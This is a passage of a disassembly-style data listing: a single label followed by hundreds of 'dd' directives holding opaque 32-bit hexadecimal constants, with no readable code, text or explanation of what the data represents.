69C52C0Fh dd 0D8F1059Fh, 0C7BCD008h, 0D11C2EF0h, 213F8DDBh, 9BF8D8h dd 0D82B6A52h, 289AB5CCh, 0FCA6F202h, 912C8090h, 5718F9A4h dd 55354A08h, 0E104C6A7h, 4AFC1800h, 0BE338E4Eh, 2A5078A5h dd 0A082AFh, 95245D34h, 2A19DF64h, 3F37F34Ch, 9C21E00Fh dd 91257B6Dh, 18AB790Ch dd 839700E9h, 17A8A4DDh, 70EA8BB4h, 455759C0h, 7C042Fh dd 0FD35EE56h, 6E4232E6h, 2900CAF4h, 5788C4F3h, 0AE819Ch dd 65A4192h, 2072B38Ch, 47465490h, 42932102h, 1CBC05h dd 0EF93B21Eh, 0DBFAFC6Bh, 0BB18E73Bh, 521E010h, 0FEED14DCh dd 17A700E1h, 39B124A6h, 79761ACCh, 0D365981Eh, 0D609FFDEh dd 1B4030CAh, 0F1F2117Ah, 217D8C1Dh, 7A40041Ah, 0C3D4CE46h dd 89987B14h, 0D754F68Eh, 8D1AFEE0h, 41117388h, 3048C55Ch dd 0F57A0844h, 0E1C245F1h, 4D1900D6h, 0FC000D7Ah, 0A62F6DEh dd 63F7794h, 0A4892DDBh, 41004978h, 5E0FB0ACh, 0C88FF2DFh dd 7CEE968h, 6514F17Ah, 0CD20EF62h, 2C407A48h, 264CB97h dd 0A5DD9677h, 4A6EE890h, 0D893D300h, 385E47E3h, 0DEAB0017h dd 2B9C0A8h, 92123AB0h, 886388D7h, 0F04490F4h, 10EC43FBh dd 0F800D780h, 5FC19B3Ch, 23E6DB2Dh, 6A77F00Ch, 1C84135h dd 2E59F9F5h, 24029A58h, 54006278h, 0B6F7BF96h, 0F7E2D3Fh dd 341952E7h, 23663383h, 70449FBAh, 0F2B8B702h, 0C1EDFB75h dd 2DC4C465h, 0C92FDh, 809E43A1h, 97E1B7B5h, 0CC077E78h dd 64081AE2h, 0D8960D03h, 5B0C872Ch, 6780038h, 4C2B7961h dd 0DD78D491h, 9F00863Bh, 0B1EB9527h, 0E4223Ch, 14B8E9EEh dd 9BAF0710h, 88D4D84Ch, 932FC049h, 0CC460540h, 1000B822h dd 0F5FB9388h, 0A98C86Ch, 3864F3DFh, 0BA465C24h, 0D2734A02h dd 0D4A00A34h, 779E8980h, 3240D00h, 9F7EDD2Ah, 37C40061h dd 0A318933Bh, 0D0A8069Ah, 4D00D8A6h, 8363FE84h, 3C8EE09h dd 0FDA815ABh, 40FDF38Eh, 0BDB8B388h, 423C4D06h, 3824590Dh dd 6FB49507h, 0A24F30E0h, 0D08DB527h, 8C18C021h, 73A5B1B9h dd 0B649F4A8h, 0B3415B0Fh, 30F74079h, 1E5D20Ah, 0E4EE36F1h dd 85AF3237h, 1A520D1h, 8B02DC88h, 0B9D570E7h, 0B5FCF376h dd 8729983Eh, 9A40929Ch, 0F4AA2E40h, 70594877h, 69C7B98Fh dd 10A406Bh, 5BF636EBh, 0C8882C58h, 4B43C03Dh, 0C7465521h dd 1C1FC022h, 37004AC8h, 1DFF6BB4h, 0B6971E55h, 0DC6622h dd 9A08B3CCh, 89329DCDh, 909FF9D8h, 0F90BBCh, 7A79FACBh dd 54C4A6ABh, 8CEA7E00h, 1C015A85h, 0F3C80F37h, 0E93B89Eh dd 87003E76h, 550884D7h, 0C458EC60h, 0B0A7DAE0h, 0DFE22E84h dd 8E003BF1h, 0A2339208h, 7B0F8C97h, 63B9BCD3h, 0E08030FCh dd 944B63h, 0BF5F1466h, 40C3F252h, 7EEA3216h, 9950F800h dd 3ABD477h, 919E2E10h, 0D2A82482h, 57018764h, 0A8393C6Dh dd 0CC408E35h, 0D13DB7h, 0A0DAB606h, 0AD615FF9h, 0E6768403h dd 0F8C1250Ah, 71EBEE9h, 96ED33BCh, 0A2DC2116h, 10807B95h dd 71768Ch, 0CBDD10B6h, 6BB99B2Fh, 0F13E7F00h, 2A6F2863h dd 38F6001Ah, 4637A4C3h, 8600DC34h, 7EF78B55h, 31CA87E6h dd 3FE4B3Bh, 91408798h, 9FFE212Eh, 26879940h, 10CE89DFh dd 1CFAFB7h, 390CEB53h, 808F7433h, 10C1316Bh, 0E40FBC45h dd 36003F9Fh, 0F907E69Ch, 1096B8E4h, 34B1618h, 596067A6h dd 0D7B80D9h, 79BF1F09h, 99902Eh, 9C28553Fh, 1D2C8162h dd 0C45CC5EEh, 41A3C445h, 66287844h, 65117DCh, 0E3584FEh dd 0C41C4057h, 328EF00Ah, 5C680094h, 0F6A8363Bh, 34400AD4h dd 3DA0FD0Fh, 16E05780h, 0A0FAF847h, 19038F00h, 816BBE73h dd 10B7003Eh, 0FFEF1E21h, 0F900C67Ch, 77E976C8h, 0C0D701D8h dd 13CFC040h, 0DC90DAB9h, 5B366B07h, 540A8B0h, 2C3CB6h dd 4AF7C28Eh, 0B8787B07h, 490B4300h, 8B0C57AFh, 7CE83D46h dd 55108F9Ch, 5D01C042h, 118AF89Eh, 2AA040EEh, 5024303h dd 28910DE0h, 37B1604Bh, 77C70025h, 9C89C871h, 22003567h dd 9E7F6155h, 9AC43Eh, 995E4B56h, 8509D0C2h, 43024600h dd 0F7BB67B1h, 0BF9400DAh, 0D31B6BF1h, 81C40513h, 83BF04E5h dd 5BE837F0h, 0B00BE96h, 0B5F0993Dh, 78494630h, 74AE00CEh dd 8CB22188h, 6B7481A4h, 0F0BADD0Fh, 12ABE7EDh, 65CE9970h dd 0C6FD07ECh, 20B4EA13h, 706B5CD1h, 0C4F29D0Ch, 6D40D8h dd 64A89684h, 69BB9A09h, 651F8500h, 33D22F8Dh, 6DC800B8h dd 5F20404Bh, 22FCDCE9h, 408FC124h, 3601C020h, 0F2B9182Dh dd 0B0281C74h, 0D9438BB8h, 3A206E00h, 0B900A57h, 85567D1Eh dd 9802E4C4h, 303374C2h, 23114B5Dh, 0DA885755h, 4ACA1280h dd 0F4782DECh, 41151E3Ch, 79F941F0h, 3953B36Bh, 4228BC5Ch dd 8E4A11ECh, 232008A9h, 1A29F246h, 0D6E1789Ch, 0FCA50086h dd 0CF97F8F6h, 84591347h, 6DCC005Ch, 0A880E5DBh, 3E700091h dd 3DDF3018h, 45041D43h, 5D1BE64Ch, 1A343CC1h, 10155C64h dd 68D3B8CBh, 505F0448h, 7506990h, 0B207B1A8h, 10D8E193h dd 3B3FFE01h, 0B0E31D60h, 6E900384h, 0B487D584h, 2921DFE3h dd 221C1D54h, 0DC116242h, 0C52811D8h, 0B6E54470h, 0D09E2284h dd 0E0113C42h, 0A02A2220h, 1E2C7231h, 414C7491h, 0D8A56EFCh dd 15002EA4h, 9D155F82h, 93F500BEh, 42FC9F3Dh, 0EF00AE46h dd 0ED315163h, 60CC491h, 5AE1F707h, 430B4E64h, 0C8A5A0F9h dd 0D688ACh, 0EB927EFEh, 0A97890A1h, 3CE6F800h, 862D726Dh dd 20A0BB3h, 0FA0051B2h, 0F8E08D57h, 0C5D4AB01h, 894953FAh dd 6AC3F8h, 0E711AAD2h, 0A09AB7A3h, 80F5957Bh, 63773811h dd 16250C6Ch, 5BFC98h, 0FF05F054h, 0BA00151Fh, 437BE444h dd 1A84DD9h, 51C9B5F1h, 7417976Bh, 59013878h, 0B17782BDh dd 0BBF8A49Fh, 0F38E000Eh, 9ADDCD5Eh, 21003612h, 189B9E15h dd 609DFB3Dh, 463A80F8h, 6EFA51A7h, 7B3F862Ch, 0DEC83B00h dd 0EAC178Fh, 41727643h, 0D6C352E0h, 64095631h, 2461E3C4h dd 54A895C0h, 0D8CEBFB1h, 8A005E86h, 2B418E45h, 7A93033h dd 0F76CCAB3h, 5C135012h, 0B2187111h, 7B8B6E8h, 0ED47022Ah dd 0D2C59075h, 7621A080h, 500B53Eh, 7BDE99A5h, 2E4BB7h dd 0D0F474BCh, 0FC9EDAD7h, 0F60024B8h, 954F44A6h, 0FCC16218h dd 0AA1200C4h, 29CB4EB9h, 9A128DDDh, 0B6ECC509h, 0C619D500h dd 455AD7F2h, 0E716CA0Ch, 167D885h, 0B5DBA22Bh, 0F4D1440Ch dd 0E948C113h, 81B90009h, 94BECAFAh, 5F2E00F5h, 5DDDDC8Eh dd 0BF049785h, 837352F6h, 0A10780BEh, 21037E0Dh, 0E93526C4h dd 0F2D1A876h, 714B0093h, 0EA1C46D7h, 3B00A0BAh, 827EE9AAh dd 0F87DCh, 0FDC431E7h, 5EA52443h, 0AEDFDA00h, 9D9B27CAh dd 0DB223857h, 0B0AFCF81h, 0E5D0C5D7h, 8074E125h, 79200668h dd 2AF5D3Fh, 5BE8FCBFh, 0FC8014A5h, 0E1DDA485h, 1007F518h dd 4A9931h, 195FEA48h, 0C08C90ACh, 459B0A01h, 0F77322Fh dd 7E822980h, 629EA4D0h, 0A5F2F13Bh, 914488ACh, 0FF9F2500h dd 0F8728D2h, 0F598B91Eh, 4CEC68A0h, 851C2F80h, 807EBDA7h dd 6FFE8AE2h, 732C5Eh, 1E17E056h, 0E961A3C0h, 0CD3144C0h dd 4BC17Dh, 693A2E47h, 8BFB745h, 48A9BD35h, 0D1232B80h dd 0C20600D8h, 6B2A8AB4h, 404542Dh, 8F05C88Ch, 61008CA8h dd 83584875h, 60C0FDE4h, 0F0545F65h, 0BB71289Bh, 343B01A0h dd 0A6A1E257h, 0CDAB6001h, 1FCF4705h, 80EF39DEh, 4A7ED8FEh dd 3E48567Ch, 0DCCE2C2Ch, 3AAD7C00h, 3F60C58Fh, 0F578C0h dd 0A9C7F975h, 8DD0CF54h, 32242904h, 69C0FBB7h, 7E835204h dd 661C09B2h, 0A80070ECh, 91E158BCh, 3CC7BB02h, 0E0FE4D05h dd 0F9D751Ah, 2FD274F7h, 45D00D60h, 0E002D2Ch, 1FBF4BCEh dd 0C03C4Ah, 0E3E160A1h dd 0FBA714BDh, 23970D13h, 50A97000h, 934E4Ch, 0FFBE6918h dd 99743DF4h, 0D3D62800h, 0FBCF6A0h, 0F1AA00CBh, 77A4C719h dd 0D70018D2h, 0B4859971h, 0EEB7E2h, 97846A49h, 0CDC4C33Bh dd 50424800h, 0B0795B0Bh, 56AE1294h, 7454F0B8h, 0CE00CDF6h dd 2160E934h, 97779Fh, 0DE0944B4h, 52691E9Ah, 0DF20D564h dd 76F980C0h, 945C0029h, 0CB9347A4h, 3100EE2Dh, 0D5DC1C16h dd 0AB1DBBh, 0FE9BB0A2h, 2BCB71AAh, 1A5D4D00h, 0ACCD418Dh dd 87C300A5h, 16051C36h, 3B00BA60h, 31DCEAC9h, 83C55Dh dd 0B35AC2E3h, 0A25FCC96h, 1B2694Ch, 0BE05E9B0h, 0E2D0356Bh dd 0B32F004Bh, 0FF4E7D93h, 25002A42h, 5F8FAE7Eh, 90B255h dd 39B0A6A2h, 98489D6h, 4431D403h, 0A0A582B3h, 8C7751h dd 9B189156h, 7220D17Eh, 5F694A02h, 607F86F2h, 3D1F2FE0h dd 0B7032A22h, 0B1CCD50Fh, 545EB3BAh, 0E1E40901h, 0EBD81A4Fh dd 8DB60F50h, 0E520B795h, 3A31BAACh, 0D1473703h, 0E09B4C5Eh dd 0B90F4Eh, 2EC4F910h, 819C0254h, 0F83CD602h, 0C21D275Ch dd 40C4A0CAh, 4C025A7Dh, 5000D084h, 570E395Fh, 0AAB8A86Ch dd 0C500DDFCh, 0F29545D5h, 6662DAh, 8FB8066Bh, 1D071820h dd 9C9B3400h, 0FA3B9444h, 0EE9002Dh, 71253F9Dh, 0A60BA8Ch dd 0A4AAF3E9h, 0ACA3275Ch, 914DD4C0h, 5F72EC01h, 6E98EAE0h dd 1373E530h, 0E0250762h, 6900D840h, 4EB29022h, 0E4529AB3h dd 36170CD7h, 0D8E95B92h, 504DE200h, 71AEA22h, 0FFE60F0Bh dd 2B01D6FAh, 8A5DED9Fh, 9CB281C8h, 0BBA84800h, 1CC98382h dd 9B0228Ch, 0E0039AD1h, 428018FCh, 4E0053EEh, 59391073h dd 3F5C264h, 0D1045602h, 0A3980117h, 3B73B6DEh, 5062F227h dd 0EB1A0736h, 90A261B2h, 0FE7EB7A4h, 0B2F961Dh, 6080E1F0h dd 7D273045h, 8B240620h, 0B13A5B00h, 0E9B8F4E2h, 0E136009Dh dd 0CFE6C0F2h, 63006E2Dh, 0B44E9C7Bh, 28CB76Bh, 226D38ADh dd 0C461B10Ch, 0B0BE0028h, 0CA1803E8h, 0D3C55792h, 0E4D64980h dd 0FFF474E5h, 0BF4C5900h, 50E08893h, 640E00C9h, 0FDC6227h dd 9CA0157Ch, 80CEDE5h, 10146F09h, 0B5F300C5h, 88E94829h dd 716079ACh, 100F9951h, 0E98B08Dh, 0C49502FBh, 0F0AF1C40h dd 5E0003F1h, 182D6D5h, 8DEA1Dh, 0DF3D8AF7h, 78CED8CBh dd 4A2CD3Ah, 0F303C92Ah, 0D39A22C3h, 0B0FBA0D9h, 0D8749Fh dd 0F224B61Fh, 11A1CCBBh, 43B1DB03h, 0D29D3C89h, 26E740ACh dd 0F6780372h, 0A332E5E6h, 0C94D38F8h, 4234D60Ch, 1DD10ACh dd 3724B259h, 0D0B3CA61h, 0F5003B6Ah, 836DBAE5h, 7EB9E3E2h dd 0D5862D4Bh, 0E7444DC0h, 72D02C00h, 0B8F2C565h, 1BAA0046h dd 0CA6452AFh, 210EC825h, 63C910FBh, 0F8FCD5D8h, 153DCA0h dd 7825CC31h, 2CDACBB0h, 67C90050h, 1AE4D2F6h, 0C3710195h dd 20763218h, 0EC1D3E0Ch, 7C3F1600h, 55F324h, 0D74FD278h dd 3CA1CFDEh, 20CDA88h, 4DFEDDA2h, 2440AD63h, 0CD07D951h dd 8889B91Fh, 1EC61450h, 4BB00B04h, 6E80927Eh, 0D11B05AEh dd 0DC550607h, 93404285h, 1CE85Dh, 14A97397h, 50A3D565h dd 0DFFD5800h, 9A2F1B37h, 24DD00DEh, 2C7D6160h, 0C800ABD2h dd 1598DF09h, 2E7BBD9Bh, 1DE0F18Dh, 200B9312h, 8376F204h dd 0F87D2402h, 865E1Eh, 0A0E096B7h, 0E3B0AE72h, 0C309CB00h dd 974BA6C8h, 3B6C04F6h, 8037E7E4h, 6050E62h, 5D3E26E4h dd 6BDE001Fh, 767EAE21h, 1249041Bh, 0C04D87F6h, 69371C04h dd 0B8CCD64Bh, 0CD9D018Fh, 0C7A08170h, 0D50BC92Fh, 0EE43C4A8h dd 27555Ch, 41B09F8h, 5A93D1D8h, 0C799C5C4h, 0A57A70h dd 0B5DCE27h, 94001A6Dh, 757FE5F3h, 0B0237904h, 92100066h dd 1EC53E35h, 0C73D060Ch, 9098807Bh, 8CD5D991h, 9EB90088h dd 0A9B63A27h, 3D07D474h, 4D4CFF40h, 9879E820h, 0A8450028h dd 16920431h, 5100B021h, 7A091235h, 4EEF6A4h, 4B76F402h dd 0E800EF07h, 0BBE490BDh, 16040015h, 6F66832Ch, 18002564h dd 0F0C7C23Bh, 32E772h, 3FCB527Dh, 44CA7B4Fh, 1E000AB8h dd 9DE674EBh, 71A38Ch, 53A6EB0h, 35C3A607h, 0D02F400h dd 44E970D4h, 59180117h, 28120AF2h, 38CDF82Ah, 7D146300h dd 0BFB3369Eh, 0AD4F00FFh, 0DD21D23Eh, 410175D4h, 4315EF77h dd 0C1F868D9h, 0C8A7038Bh, 9DB3119Ah, 0FB3AF800h, 71C0DE4Ch dd 59550078h, 0CDBA8D31h, 7701A5F5h, 7F3CDF17h, 30809A2Eh dd 83F114Ch, 131F9163h, 0C8401E6Eh, 262C5E1Ch, 0DE881E76h dd 5D8C85D9h, 70F6C14Ch, 5FC7404Eh, 230EE809h, 83180Dh dd 9AEB8D87h, 68DE00A9h, 0C3925224h, 4700D9B1h, 0AEAB1C42h dd 3A3D9B38h, 210354DBh, 0D6D030C2h, 3A60EE01h, 594A89C7h dd 0AEB0CCh, 4C16C6E4h, 0E60F27D7h, 20540B00h, 359310A9h dd 716C0062h, 0AAF26A23h, 4500918Fh, 0CFBE478h, 2FD43Ch dd 0A004A4DCh, 4C2E317Eh, 0A1742200h, 9E2B657h, 2C86750Fh dd 79CAF8h, 74238917h, 70003B98h, 10920330h, 0BC3AADh dd 0AB54B205h, 2E791C0Fh, 0A211ED00h, 58E398F3h, 2A36008Ah dd 97F9D748h, 0CC00D484h, 0DDEDAB3Fh, 0A8246476h, 1F79E9A4h dd 0EE0C0BDh, 728015CCh, 0F2BEDACFh, 0C5924900h, 85BF63B5h dd 0B26FA16h, 0B3786F6Ch, 0D9160Ah, 88D6774h, 5316ADCCh dd 0D1009247h, 0DFC22964h, 0E6B0DCh, 1DACE1CBh, 3E7B1F6Eh dd 0ECC0E200h, 6DC6F3D9h, 31730091h, 4DF9B583h, 121DD068h dd 0C804F826h, 1C805351h, 97B957Ch, 0CFC4AF6Ch, 0A3CE4487h dd 42C02616h, 0B001F71h, 9CF01760h, 38C82AF9h, 0F781E662h dd 3F9E22BAh, 964F20E4h, 507CDB00h, 0C809A8EDh, 94AB3258h dd 74C02850h, 150031C7h, 7BD2E6EBh, 3093C1F9h, 391025ACh dd 23015D9Fh, 44F23C1Ah, 0D8240321h, 0FD618038h, 8BB2A000h dd 0B44CE384h, 8713268Dh, 0C6DF0114h, 0EC6C6BD5h, 0B6713170h dd 0D0A0C2B8h, 0AA00B7B8h, 0E5BF623Ch, 0A00880A2h, 0FCDC93h dd 5CF38798h, 0C9A58EB0h, 461B40B0h, 98189918h, 6608676h dd 0E319AFA6h, 0DC005468h, 0A1577ACh, 0F9D5D5Ch, 5498D17Dh dd 25700380h, 0AB011147h, 6E1A8B7h, 3BF4E9D6h, 0F4330095h dd 947B4A1Ch, 2E7FBAFEh, 0B3B09A00h, 7D0AF7A4h, 0AD370A6Ah dd 3FA83416h, 3C6FB0F2h, 0F7002CB2h, 1BA5DDD9h, 5CF0D7F6h dd 2890D300h, 0BA2D88D5h, 0F3810017h, 0EC7A1DFAh, 0AF00CA26h dd 0AD1B9031h, 170F940Dh, 0F354441h, 23E0E487h, 0C52E85F8h dd 0A43FF704h, 9A83B4B0h, 0A119E3A9h, 36D8BCDEh, 0CFE00082h dd 796BB099h, 0D6603206h, 9895B11h, 5AFD1DBAh, 5E4783E3h dd 80B43A93h, 2B6D4CCBh, 48805800h, 21E10D07h, 6130012h dd 60BD2F5Ah, 0C94C2B4Ch, 0A6A0E59h, 4E21609Bh, 60CE3CFCh dd 0EB9ECEBDh, 76FAB4D8h, 0A88FA600h, 512B0957h, 0CA2A1E71h dd 91C66C1h, 31801788h, 26B9B292h, 0B8AEDC00h, 90E85BE9h dd 0E0B0007Fh, 743291E7h, 61007DA6h, 0C470083Ah, 9A5DE9h dd 0A059521Dh, 0A8717A2Bh, 22E339h, 0AB6CE13h, 0C14AF1h dd 6E1015B1h, 0D26427BAh, 8B855D00h, 70049D0Ch, 6057007Ah dd 9903BF23h, 900E1279h, 0A0066C88h, 3EB6FFE7h, 0E48C018Fh dd 7BB0B41Fh, 42F061EFh, 8F827600h, 1840F1A7h, 5500D0C8h dd 8D81D65h, 0B7B4CAh, 26BACE66h, 0A771461Ch, 0B696F51Dh dd 0EA90C283h, 81111E07h, 90A6FEh, 1BEFAB1Fh, 9CA082CCh dd 0AEEC326h, 36002CF8h dd 48D17B3Ch, 4A3D681h, 0D8F8B1CEh, 0B464819Ch, 0E071125Eh dd 0DB2C67h, 0FA460194h, 446055D8h, 470BF0E5h, 0C08C9837h dd 50801824h, 0E37BADh, 6A46F9F6h, 0AFC7CCE0h, 67AD23Eh dd 60742D49h, 4DB713C8h, 40781CD3h, 0CB09D93Dh, 9A00B6BEh dd 1D8CD6CAh, 770DA154h, 0E03A00F5h, 6634E333h, 9600394Ah dd 4F1D21C4h, 747D85Eh, 0C2DD8B30h, 417C4083h, 9BFC5715h dd 0F763Bh, 0B369B43Dh, 0C6116D7h, 0A3C35C72h, 0B51CAAE8h dd 6F80C93Ah, 8C4E58EFh, 3BA10011h, 758BD844h, 1800AE9Ch dd 7CE3922Ah, 0D7805Ch, 0E83805C5h, 25EDA703h, 3A12E20Fh dd 475C608Ch, 40FAEAh, 2B8EFE71h, 9FE24C55h, 0AEF1B005h dd 0AC1F5F83h, 8E4B60C0h, 5648DBh, 543F3692h, 1E9943B7h dd 0F107D979h, 6129FC40h, 0EA5A00AFh, 60B0CDh, 24DA3F37h dd 9BC969D1h, 98DEBA00h, 0F8703DDCh, 4DF12440h, 0D87A00E8h dd 462A903Fh, 21562D00h, 0B854CC7Bh, 6F7800BDh, 0C92FBFDAh dd 40007D8Eh, 748966C7h, 0FD20D2h, 96463A22h, 0C12CB352h dd 0DA9A9F00h, 42583EF6h, 66540035h, 0A1F77567h, 6418E4DDh dd 0F1106876h, 0FF12006Eh, 38C71AFDh, 4000AFE5h, 4A8EA27Ah dd 67BF60h, 955D6DE1h, 3F58F737h, 7F036E01h, 6CB9E3DBh dd 6AA1F8h, 0ADC3977h, 0C6231791h, 6BC930E7h, 0E8A52000h dd 0D144B41Dh, 65842CA2h, 41A607A2h, 25C510C8h, 13002C73h dd 3C0D6001h, 1F183Bh, 5719CD55h, 0B4DFB12Dh, 0AE6FC200h dd 9E76A582h, 7A6800CAh, 0DE59A937h, 17752FD5h, 7928DF30h dd 7BBA342h, 0B40B4472h, 520540C4h, 21C72F1Bh, 7E304D96h dd 3A6CFAFBh, 4E01D378h, 1D9E7579h, 902986D9h, 0F030130Dh dd 0FA650764h, 405D6693h, 8B0C689Ch, 0DEF62600h, 7AB07478h dd 63F10142h, 9DCBA17Ch, 0C024401Bh, 9E88DF54h, 0EC2A71A0h dd 24113C61h, 11271818h, 0B5603479h, 0DE7A6341h, 702454A9h dd 0EB07863Eh, 32A72B4h, 53967340h, 2D7CFBDEh, 586DD501h dd 0E8A50B26h, 2C065676h, 2AB1CA5Ch, 68DA00B0h, 783CF91Ch dd 7300D8FCh, 6777FDD6h, 0BDF40Ch, 27F5DECAh, 4C1EF1E1h dd 0C81D7A00h, 553A214Dh, 930F0043h, 15519405h, 6300BAFAh dd 0B7BD2295h, 72CE68h, 478BB85Ah, 4F7EAE59h, 0C5361B00h dd 48015E41h, 35E26Fh, 0A87275B7h, 0B30B9F67h, 50C43Ch dd 3E29F40Fh, 0B4164Dh, 22C0159Eh, 89086C65h, 2ADC2E00h dd 0B3142D0Ah, 16017F93h, 0D370DEh, 241B8FF7h, 990026F8h dd 3F1A4D5Ah, 90979Fh, 4501B615h, 800A8AF4h, 855AB93Fh dd 1EC8E35Dh, 417CC4Ah, 160630F6h, 0E3240111h, 0D46A1E00h dd 113C9AAEh, 3E500DBh, 0A9494F54h, 0BB1FEB07h, 15C70151h dd 0E278050h, 1881006Eh, 178CF039h, 301F548h, 0F7087F98h dd 3D8047C3h, 3C01EA83h, 32F41670h, 29870C03h, 41C1C34Dh dd 0F0AEF322h, 3500FCF7h, 0CB433BBEh, 17F23407h, 0C4E7B6Ch dd 0FC616AA4h, 37414F61h, 0E0D3026Dh, 608B4246h, 9EF21908h dd 478D3A9h, 0E6BEDB1Fh, 4F485706h, 0CB051190h, 0D0007A4Dh dd 346CE49h, 6436C9B7h, 43B3E82Dh, 0E370C72Eh, 40C80ED2h dd 301F32F8h, 4353969h, 4CBE56h, 826821C9h, 103CF0D4h dd 2ABCB71h, 8B464048h, 0E594904Ah, 0F47ACCA8h, 731D97A8h dd 98B978F0h, 20598509h, 3B9D7D75h, 8901D74Fh, 3A7FE134h dd 926BE4D9h, 81B65A3Bh, 3CCF0147h, 388B5BF1h, 0F7065CF7h dd 0E7EC78DBh, 1F6E0700h, 5522053Ch, 37BA18AEh, 93899ADh dd 64662F0Eh, 7FEF2035h, 6E17E16h, 0DE8F0753h, 3B0028F2h dd 0D9031D58h, 2235E5h, 0B8578C90h, 8DBCE83Fh, 2D92461Eh dd 39504Fh, 0EC81D6FDh, 3436509Fh, 6FF80025h, 0B4050BB0h dd 0BC37A599h, 4290E982h, 608F0325h, 0A9D071DAh, 0B9F89F93h dd 90801200h, 92E6179h, 728101EAh, 8ABD6B41h, 79B03A6Fh dd 183C01CEh, 339BC012h, 5CC84803h, 0CD109762h, 51B600F3h dd 34009446h, 8C0C1FF4h, 0FF7158h, 6A6C325Dh, 0C629E676h dd 5B7C001h, 0DD41AA0Bh, 21C90898h, 0C6000201h, 81754F5Ch dd 6368EDh, 6914E4DBh, 8B623D10h, 0ECBA2E18h, 61DCF89Eh dd 0D386381Fh, 0EA60D4C9h, 3309FB03h, 0A30A2BF1h, 21211D6Dh dd 0BA1040C1h, 9EFF6F8Eh, 0C285D800h, 8749661Eh, 751C0673h dd 30713903h, 0C7000AF0h, 0C19490F9h, 3AEF1910h, 3B3012E9h dd 0F9FF3121h, 90C4180Ch, 20C13Fh, 482DB853h, 6D7EBA51h dd 0B0D8377Dh, 29898621h, 1F5CC56Fh, 0EBBD68E4h, 886E5C48h dd 0AFEAFC2Ch, 90D5A70Ch, 3FD110h, 9DBE803h, 68DFB069h dd 7C00207Ch, 8C3BF8C1h, 254B656h, 0CAC980FCh, 38850686h dd 0BCFE80EAh, 98C0393Ah, 20D49099h, 5107168h, 0D8BB7687h dd 0F7B80217h, 3A566144h, 40DC460Eh, 2AA7AEDFh, 0F3160751h dd 70680FC8h, 0FF27CEA5h, 0D4DFF503h, 0F0EF5874h, 3E0F3883h dd 8D80A3DAh, 0B40E12BCh, 0AA00ACE5h, 2E417EC7h, 98895Ch dd 73E43399h, 2D7059ABh, 80550D39h, 520ABBC8h, 601E187Fh dd 0CF4A7211h, 62012695h, 0A4BF75A6h, 0FAECAD28h, 0DA3C07C5h dd 303BC721h, 7C560BB5h, 5F89E90Eh, 94AC87CAh, 1C2080E0h dd 55360288h, 0C1498CBBh, 5D641CE0h, 560002FAh, 0B876F2ABh dd 0B09706h, 0EAC94148h, 0AF1CE919h, 3945A07h, 0A2C19D09h dd 0EEF01F52h, 0D3540064h, 0F6CFEA65h, 2901949Ah, 328DDEC3h dd 53E099C6h, 6F700E6h, 0E916F09Dh, 8C6BFB4h, 0FA20C3D6h dd 50F73EBEh, 683C84BEh, 0F9305D80h, 21F82E1Bh, 33D2350Eh dd 0E5058E5h, 22BD1838h, 5CF411EAh, 68A60200h, 6775DF27h dd 0C008C60Fh, 2D002039h, 7C340317h, 796BBBE8h, 3BA37856h dd 0AB866D65h, 0C0FC9454h, 6655CE1Dh, 0B52458F1h, 81C26180h dd 2A0D4E08h, 0BFA31003h, 0C8F54027h, 7260930h, 4DE8EA71h dd 0BCB9D056h, 0B600B7F6h, 0E00460C1h, 1F9872ADh, 0C0ABFF35h dd 64B1CF54h, 0C20050D6h, 675F234Eh, 7D76BA0Dh, 5BB002Ah dd 0B4966BE7h, 17005ACCh, 60F68FFBh, 1DEDDEh, 0B1EAC714h dd 4522422Eh, 8BD8DC00h, 83059791h, 198F12BEh, 80E61E77h dd 0DA4C41EEh, 47006709h, 90553227h, 0E354A3h, 0CD89D9ABh dd 4A99E636h, 4D0C7400h, 7034F5CFh, 75D43E47h, 61ED3D00h dd 0C6E4AC1Bh, 1C95383Ah, 0A74188FDh, 1469210h, 0FB58C8h dd 31E86D45h, 593A0DADh, 47E31100h, 65CD5444h, 112F65A6h dd 3E047F28h, 1034B0FEh, 9885CB8Ch, 0E25707BBh, 0A1457F0Dh dd 0F0222B12h, 61E5DFEh, 3C8C74E6h, 84F62988h, 22788322h dd 0AA220539h, 117A4282h, 552150BDh, 90189108h, 0D1568E2Eh dd 223C1128h, 32450E4Ch, 93229481h, 0D4B9E7FBh, 9600CCC1h dd 57A4727Bh, 83AFC3h, 73400BDEh, 0F62646DFh, 3B005AF8h dd 1CFC1A82h, 784E8Dh, 518A737Eh, 0AEC5EA1Fh, 1022D112h dd 7F0E6B00h, 0E3B5AAh, 138157EEh, 14E8097h, 0A0C64005h dd 0DA00AD79h, 0A69F8FE4h, 9DC0052h, 13D7D9B0h, 0DE1E8C50h dd 0FF078657h, 59E03506h, 0B1DBD3h, 0BE772FA5h, 9A8AE07Bh dd 5C06F100h, 0DE520986h, 0D9AD1F03h, 0A60A493Ch, 38E96B00h dd 47903655h, 0D1576D02h, 0A011D54Eh, 0DD930BE4h, 68EB60D0h dd 3DC7F390h, 96EE0100h, 3C70A58Ah, 7F6F435h, 4D5D713h dd 0FDDF509Dh, 80165896h, 350109A1h, 7C8B7E19h, 7E4CDAF4h dd 52A6A04Dh, 6358C0C4h dd 0F9F609DDh, 9636F800h, 0AB11324Dh, 0C069132Fh, 89B50FFDh dd 5B567140h, 0F903D59Eh, 0B2A816DFh, 0C99FD8CCh, 0B8C000E5h dd 31D8F8C5h, 0CF0C5020h, 0C8438154h, 7A60067h, 9156C9E6h dd 0D4004A89h, 0BE2E940Ah, 3BCC571h, 1B01B242h, 0D5C066E6h dd 5FB8E108h, 0DD1F48E0h, 0BC80723Dh, 20C8E3Fh, 7F97C2Ch dd 317F378Bh, 0AE5AA01Dh, 0A600E9D9h, 16FD7287h, 1EFA1B32h dd 0FAAA04DCh, 66FED700h, 6F21B57Bh, 18398C00h, 7F3C2F44h dd 0EBEE65h, 1193C754h, 467C3DB1h, 0FE6C0300h, 53A1BFFFh dd 0AC3003Eh, 5D259C05h, 1003F71h, 0EA7BBA3Bh, 0FE8B2288h dd 0D5F80776h, 1C50551h, 0E001DACDh, 850079B4h, 0BD111C2Dh dd 23FC72Ah, 66500C65h, 0D440378Eh, 8B1C6D2Fh, 0FA56CD0Fh dd 932B4400h, 0BC2567h, 0E1099891h, 0B6B3D979h, 4CF4E900h dd 0ACA7697Dh, 810D3DE0h, 0F5509C83h, 62C8B289h, 2A3CCC6Dh dd 0FE0101C6h, 0C3DA61Dh, 48BED0h, 0B1AB426Fh, 0E8FF91F1h dd 6CCB9D24h, 7705AF00h, 0FC4D78A6h, 0CF9300A4h, 16385589h dd 74178A71h, 600D749h, 7AAA064h, 3C7602DFh, 